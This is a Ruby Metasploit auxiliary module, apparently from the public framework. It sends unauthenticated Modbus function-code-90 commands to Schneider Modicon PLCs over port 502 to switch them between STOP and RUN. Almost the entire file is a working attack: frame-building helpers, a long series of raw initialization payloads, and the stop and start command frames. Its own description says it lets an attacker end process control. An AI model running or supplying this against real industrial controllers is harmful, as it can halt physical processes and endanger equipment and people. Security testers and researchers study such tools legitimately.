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@tabassassin @L1ghtn1ng
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Remote START/STOP Command',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and RUN, allowing an attacker to end process control by the PLC.
This module is based on the original 'modiconstop.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => 'Apr 5 2012'
))
register_options(
[
OptEnum.new("MODE", [true, 'PLC command', "STOP",
[
"STOP",
"RUN"
]
]),
Opt::RPORT(502)
])
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("packet too large, sorry")
print_error("Offending packet: " + packetdata)
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
return r
end
# This function sends some initialization requests
# I have no idea what these do, but they seem to be
# needed to get the Modicon chatty with us.
# I would make some analogy to 'gaming' in the
# bar-dating scene, but I'll refrain.
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
def stop
payload = "\x00\x5a\x01\x41\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def start
payload = "\x00\x5a\x01\x40\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def run
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when "STOP"
stop
when "RUN"
start
else
print_error("Invalid MODE")
return
end
end
end
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